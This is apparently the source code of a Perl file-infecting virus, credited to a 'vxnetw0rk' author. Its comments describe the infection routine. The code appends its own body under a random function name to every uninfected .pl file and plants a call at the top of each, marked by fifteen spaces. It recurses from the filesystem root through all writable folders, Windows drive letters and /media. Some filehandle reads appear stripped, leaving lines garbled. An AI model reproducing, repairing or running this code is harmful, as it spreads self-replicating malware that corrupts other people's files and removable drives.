# Infection routine for perl files. # Infectionmark: 15 * Space # # reads it own main funktion (virii) # opens the file to infect # writes its main function at the end of the file with a random function name # writes a call of the function at the begining of the file and sets the infectionmark # # written by R3s1stanc3 [vxnetw0rk] sub virii { @case = ("A".."Z","a".."z","0".."9"); # for rand Strings $OS = $^O ; # Running OS ? &foldInfect(); sub perlInfect { # Infect Perl Files $call = $case[int(rand(52))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))]; foreach $pl ( glob("*.pl") ) { if ( isInfected($pl) == 0) { open(me, $0); open(target, "<", "$pl"); $_ = ; @first = split('\n', $_); $_ = ; $new = $1 . $first[0] . " \n\&$call\(\)\n" . $_; # Set infectionmark while ( ) { $new = $new . $_; } seek(me, 0, 0); while ( ne "sub viri\{\n" ) { }; $new = $new . "\nsub $call\{\n"; while ( ) { $new = $new . $_; } close(target); open(target, ">", $pl); print target $new; close(target); close(me); } } } sub isInfected{ # Check for infection ( Infectionmark == 15 x space in the first line ) $file = $_[0]; open(pl, "<", $file); @perl = ; close(pl); return $perl[0] =~ / /; } sub foldInfect { chdir('../../../../../../../../../../..'); # run Payload through every folder foreach $dirs ( <*> ) { if ((-r $dirs) && (-w $dirs) && (-d $dirs)) { chdir($dirs); &payload(); &foldInfect(); chdir('..'); } } if ($^O =~ "Win") # If OS == Win { foreach (A..Z) # infect USB and other partitions on Win { if ( chdir($_.'://') ) # Infect every device { chdir($_.'://'); &foldInfect(); } } } if ($^O =~ "linux") # If OS == Linux { chdir('/media'); # Infect every device &foldInfect(); } }